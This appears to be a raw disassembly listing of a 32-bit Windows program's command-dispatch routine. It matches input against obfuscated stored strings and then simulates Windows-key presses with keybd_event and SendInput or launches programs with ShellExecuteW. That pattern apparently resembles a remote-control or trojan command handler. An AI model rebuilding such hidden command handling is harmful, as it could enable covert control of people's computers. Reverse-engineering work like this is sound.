call fcn.0045cba0
lea ecx, [ebp - 0xe4]
call fcn.0042c3d0
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x523b71
mov edx, dword [ebp - 0xb4]
inc ecx
jmp 0x521b4c
mov edx, 0x5b8700
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x522475
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522440
sub ecx, dword [ebp - 0x2c]
je 0x522475
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522475
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x522460
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52247c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x5224b0
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5224a6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523c4c
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x522544
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4c
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5224f0
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00524080
mov esi, dword [ebp - 0x34]
lea edx, [ebp - 0xb4]
add esp, 8
mov ecx, esi
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.00523e10
test al, al
je 0x521205
mov byte [esi + 0x9c], 1
jmp 0x521205
mov edx, 0x5b8718
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x522595
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522560
sub ecx, dword [ebp - 0x2c]
je 0x522595
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522595
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x522580
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52259c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x5225d0
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5225c6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523c06
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x5227da
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4d
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522610
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00524080
mov ecx, dword [ebp - 0x34]
lea edx, [ebp - 0xb4]
add esp, 8
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.00523e10
test al, al
je 0x521205
mov byte [ebp - 4], 0x4e
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523cb0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xe4]
push 0x30
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.eSBfbm4gHjgeeSBfamd0Y111Z2xibXUgHjgeICN1cSB7ew
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.0042b390
lea ecx, [ebp - 0x298]
mov byte [ebp - 4], 0x50
call fcn.00432480
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x298]
call fcn.00433660
lea ecx, [ebp - 0x298]
call fcn.00432400
mov byte [ebp - 4], 0x52
lea esi, [ebp - 0x60]
cmp dword [ebp - 0x4c], 8
lea eax, [ebp - 0xe4]
cmovae esi, dword [ebp - 0x60]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042c2f0
lea ecx, [ebp - 0x2c]
call fcn.00442a50
push esi
mov byte [ebp - 4], 0x53
push dword [eax]
lea eax, [ebp - 0x20]
push eax
call fcn.0041f420
mov edx, dword [ebp - 0x2c]
or edi, 0xffffffff
add esp, 0x24
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52274d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x50
call fcn.0042c3d0
push ecx
mov esi, esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042c200
mov ecx, dword [ebp - 0x34]
add eax, 0x10
mov dword [esi], eax
call fcn.0051f570
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x5227bc
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x5227b2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523c06
push ecx
push edx
call fcn.005472f1
add esp, 8
mov edx, dword [ebp - 0x2c]
lock xadd dword [edx + 0xc], edi
dec edi
test edi, edi
jg 0x521205
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x521205
mov edx, 0x5b8760
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x52282a
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5227f5
sub ecx, dword [ebp - 0x2c]
je 0x52282a
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52282a
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x522815
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x522831
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x522865
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52285b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523c06
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x5229a4
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x54
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5228a0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00524080
add esp, 8
mov byte [ebp - 4], 0x55
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523c10
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x57
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523c10
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x58
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x9c]
call fcn.00448c50
add esp, 4
lea eax, [ebp - 0x3c]
push eax
call fcn.00523d30
mov ecx, dword [eax]
test ecx, ecx
je 0x522954
mov eax, dword [ebp - 0x34]
push ecx
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x6c], edi
mov esi, dword [ebp - 0x38]
mov dword [ebp - 0x2c], eax
lea ecx, [esi - 0x10]
call fcn.0042c200
mov ecx, dword [ebp - 0x2c]
add eax, 0x10
mov dword [edi], eax
call fcn.0045cba0
jmp 0x522957
mov esi, dword [ebp - 0x38]
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x522971
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x3c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x522989
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x523b71
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x52121b
mov edx, 0x5b8910
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x5229f5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5229c0
sub ecx, dword [ebp - 0x2c]
je 0x5229f5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5229f5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x5229e0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x5229fc
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x522a30
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522a26
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523c06
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x522c01
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x59
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522a70
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00524080
add esp, 8
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523c10
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push 0x58c2f0
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x5a
call fcn.0042cad0
test al, al
jne 0x522ad2
push 0
push 0x58c2f0
lea ecx, [ebp - 0x3c]
call fcn.0042cdf0
mov byte [ebp - 4], 0x5b
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523c10
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x40], eax
push 0x58c2f0
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x5c
call fcn.0042cad0
test al, al
jne 0x522b16
push 0
push 0x58c2f0
lea ecx, [ebp - 0x40]
call fcn.0042cdf0
mov byte [ebp - 4], 0x5d
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523c10
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x34], eax
push 0x58c2f0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x5e
call fcn.0042cad0
test al, al
jne 0x522b5a
push 0
push 0x58c2f0
lea ecx, [ebp - 0x34]
call fcn.0042cdf0
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0x5f
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x20], 0
push eax
lea eax, [ebp - 0x34]
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x9c]
call fcn.00449070
add esp, 0xc
lea eax, [ebp - 0x3c]
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x40]
push dword [ebp - 0x20]
push eax
call fcn.0044ab60
mov edx, dword [ebp - 0x34]
or esi, 0xffffffff
add esp, 8
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x522bb4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x40]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x522bce
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x3c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x522be6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x523b71
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x52121b
mov edx, 0x5b87d8
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x522c55
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522c20
sub ecx, dword [ebp - 0x2c]
je 0x522c55
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522c55
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x522c40
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x522c5c
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x60]
call fcn.0042b220
cmp dword [ebp - 0x20], 0
je 0x522de1
lea eax, [esi + edi]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0042bd10
lea eax, [ebp - 0x3c]
mov dword [ebp - 4], 0x60
push eax
call fcn.00523d30
lea ecx, [ebp - 0x38]
mov edi, dword [eax]
mov dword [ebp - 0x48], edi
call fcn.0041dc60
push str.eSBfbm4gHjgeeSBmZ2JjXXVnbGJtdSA4ICN1cSB7ew
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x61
call fcn.0042c620
sub esp, 0x18
mov byte [ebp - 4], 0x62
mov esi, dword [ebp - 0x3c]
lea eax, [ebp - 0x130]
mov ecx, esp
push eax
call fcn.0042c2f0
lea ecx, [ebp - 0x2c]
call fcn.00442a50
push esi
mov byte [ebp - 4], 0x63
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.0041f420
add esp, 0x24
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x2c]
call fcn.0042bdf0
lea eax, [edi - 4]
cmp eax, 0x3c
ja case.0x522cfd.5
movzx eax, byte [eax + 0x523ce4]
jmp dword [eax*4 + 0x523cd0]
mov esi, dword [ebp - 0x34]
lea ecx, [ebp - 0x60]
push str.eSBfbm4gOB55IGxtcmdkZ2FfcmdtbHEgOB55IG1kZGNwR3FNbmNsIDgeZF9qcWN7e3s
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 0
call fcn.0042c620
push 4
push ecx
mov byte [ebp - 4], 0x64
lea eax, [ebp - 0x60]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042c2f0
mov ecx, esi
call fcn.00442a50
add esp, 0x18
mov ecx, edi
call fcn.0045cba0
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x62
call fcn.0042c3d0
jmp 0x522da0
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov byte [eax + 0x10b], 0
call fcn.00406790
jmp 0x522da0
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x11c], 0
jmp 0x522da0
mov esi, dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
push 0x5b
call esi
push 0
push 2
push 0
push 0x5b
call esi
jmp 0x522da0
test edi, edi
je 0x522dc6
mov eax, dword [ebp - 0x34]
push dword [ebp - 0x48]
push ecx
mov edi, dword [eax + 0x10]
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x38]
lea ecx, [ecx - 0x10]
call fcn.0042c200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.0045cba0
lea ecx, [ebp - 0x130]
call fcn.0042c3d0
lea ecx, [ebp - 0x38]
call fcn.0042bdf0
lea ecx, [ebp - 0x3c]
jmp 0x523b6c
mov edx, 0x5b88e0
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x522e35
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522e00
sub ecx, dword [ebp - 0x2c]
je 0x522e35
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522e35
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x522e20
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x522e3c
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x60]
call fcn.0042b220
cmp dword [ebp - 0x20], 0
je 0x5233ad
xorps xmm0, xmm0
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
mov ecx, edi
mov dword [ebp - 4], 0x65
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522e80
sub ecx, edx
lea eax, [ebp - 0xcc]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00524080
add esp, 8
lea ecx, [ebp - 0x60]
mov edx, 0x5b8a00
call fcn.00442920
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x522eba
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00452a20
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.0042b220
cmp byte [ebp - 0x2d], 0
je 0x522fb2
push 0xa8
lea eax, [ebp - 0x248]
push 0
push eax
call fcn.005491d0
add esp, 0xc
mov dword [ebp - 0x248], 1
mov eax, 0x5b
mov dword [ebp - 0x22c], 1
mov word [ebp - 0x244], ax
mov ecx, 0x10
mov word [ebp - 0x1f0], ax
mov edx, 0x53
push 0x1c
lea eax, [ebp - 0x248]
mov word [ebp - 0x228], cx
push eax
push 6
mov dword [ebp - 0x210], 1
mov word [ebp - 0x20c], dx
mov dword [ebp - 0x1f4], 1
mov dword [ebp - 0x1ec], 2
mov dword [ebp - 0x1d8], 1
mov word [ebp - 0x1d4], cx
mov dword [ebp - 0x1d0], 2
mov dword [ebp - 0x1bc], 1
mov word [ebp - 0x1b8], dx
mov dword [ebp - 0x1b4], 2
call dword [sym.imp.USER32.dll_SendInput]
jmp 0x523389
mov edx, 0x5b8a18
lea ecx, [ebp - 0x60]
call fcn.00442920
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x522fca
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00452a20
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.0042b220
cmp byte [ebp - 0x2d], 0
je 0x523015
push 0
push 0
push 0x44aaa0
call fcn.005534da
add esp, 0xc
jmp 0x523389
mov edx, 0x5b8a30
lea ecx, [ebp - 0x60]
call fcn.00442920
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x52302d
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00452a20
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.0042b220
cmp byte [ebp - 0x2d], 0
lea ecx, [ebp - 0x60]
je 0x5231a3
mov edx, 0x5b89d0
call fcn.00442920
mov byte [ebp - 4], 0x66
cmp dword [eax + 0x14], 0x10
jb 0x52307f
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x34]
call fcn.0042bd10
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x68
call fcn.0042b220
push 0xa
push 0
push 0
push dword [ebp - 0x34]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x523381
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.bnBtYnNhcg
lea ecx, [ebp - 0x40]
mov esi, eax
call fcn.0042cf00
push str.cF1gZ2xdbW5jbF1jcHBtcA
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x69
call fcn.0042cf00
push str.JGNBbWJjOyNqcw
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x6a
call fcn.0042cf00
lea ecx, [ebp - 0x38]
call fcn.0041dc60
push esi
push ecx
mov byte [ebp - 4], 0x6c
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.0042c200
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00442cb0
add esp, 4
mov byte [ebp - 4], 0x6d
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.0041f420
add esp, 0xc
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x2c]
call fcn.0042bdf0
push 0x58c2f0
lea ecx, [ebp - 0x44]
call fcn.0042cf00
push 0x58c2f0
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x6e
call fcn.0042cf00
push ecx
mov byte [ebp - 4], 0x6f
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x3c]
lea ecx, [ecx - 0x10]
call fcn.0042c200
add eax, 0x10
lea ecx, [ebp - 0x48]
mov dword [esi], eax
call fcn.00442cb0
mov edi, eax
mov byte [ebp - 4], 0x70
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x40]
add ecx, 0xfffffff0
call fcn.0042c200
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00442cb0
add esp, 4
mov byte [ebp - 4], 0x71
jmp 0x523329
mov edx, str.YV9qYQ
call fcn.00442920
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x5231b8
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00452a20
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.0042b220
cmp byte [ebp - 0x2d], 0
je 0x523389
mov edx, str.YV9qYQ
lea ecx, [ebp - 0x60]
call fcn.00442920
mov byte [ebp - 4], 0x72
cmp dword [eax + 0x14], 0x10
jb 0x52320a
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x34]
call fcn.0042bd10
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x74
call fcn.0042b220
push 0xa
push 0
push 0
push dword [ebp - 0x34]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x523381
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.bnBtYnNhcg
lea ecx, [ebp - 0x40]
mov esi, eax
call fcn.0042cf00
push str.YV9qYV1jcHBtcA
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x75
call fcn.0042cf00
push str.JGNBbWJjOyNqcw
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x76
call fcn.0042cf00
lea ecx, [ebp - 0x38]
call fcn.0041dc60
push esi
push ecx
mov byte [ebp - 4], 0x78
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.0042c200
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00442cb0
add esp, 4
mov byte [ebp - 4], 0x79
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.0041f420
add esp, 0xc
mov byte [ebp - 4], 0x78
lea ecx, [ebp - 0x2c]
call fcn.0042bdf0
push 0x58c2f0
lea ecx, [ebp - 0x44]
call fcn.0042cf00
push 0x58c2f0
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x7a
call fcn.0042cf00
push ecx
mov byte [ebp - 4], 0x7b
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x3c]
lea ecx, [ecx - 0x10]
call fcn.0042c200
add eax, 0x10
lea ecx, [ebp - 0x48]
mov dword [esi], eax
call fcn.00442cb0
mov edi, eax
mov byte [ebp - 4], 0x7c
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x40]
add ecx, 0xfffffff0
call fcn.0042c200
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00442cb0
add esp, 4
mov byte [ebp - 4], 0x7d
lea ecx, [ebp - 0x44]
mov edx, edi
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x38]
push ecx
mov ecx, eax
call fcn.004538a0
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.0042bdf0
lea ecx, [ebp - 0x48]
call fcn.0042bdf0
lea ecx, [ebp - 0x20]
call fcn.0042bdf0
lea ecx, [ebp - 0x44]
call fcn.0042bdf0
lea ecx, [ebp - 0x38]
call fcn.0042bdf0
lea ecx, [ebp - 0x1c]
call fcn.0042bdf0
lea ecx, [ebp - 0x3c]
call fcn.0042bdf0
lea ecx, [ebp - 0x40]
call fcn.0042bdf0
lea ecx, [ebp - 0x34]
call fcn.0042bdf0
mov eax, dword [ebp - 0xb8]
cmp eax, 0x10
jb 0x523b71
inc eax
push eax
push dword [ebp - 0xcc]
call fcn.0042d030
add esp, 8
jmp 0x523b71
mov edx, 0x5b8928
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x5233fd
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5233c8
sub ecx, dword [ebp - 0x2c]
je 0x5233fd
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5233fd
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x5233e8
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x523404
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x60]
call fcn.0042b220
cmp dword [ebp - 0x20], 0
je 0x5234c0
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0xf
mov byte [ebp - 0xe4], 0
mov ecx, edi
mov dword [ebp - 4], 0x7e
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523447
sub ecx, edx
lea eax, [ebp - 0xe4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00524080
add esp, 8
call fcn.0054c3fd
lea ecx, [ebp - 0xe4]
mov edi, eax
call fcn.0042b070
mov esi, eax
mov dword [edi], 0
push 0xa
lea eax, [ebp - 0x2c]
push eax
push esi
call fcn.0054dd5e
add esp, 0xc
cmp esi, dword [ebp - 0x2c]
je 0x523cba
cmp dword [edi], 0x22
je 0x523cc4
push eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0xc]
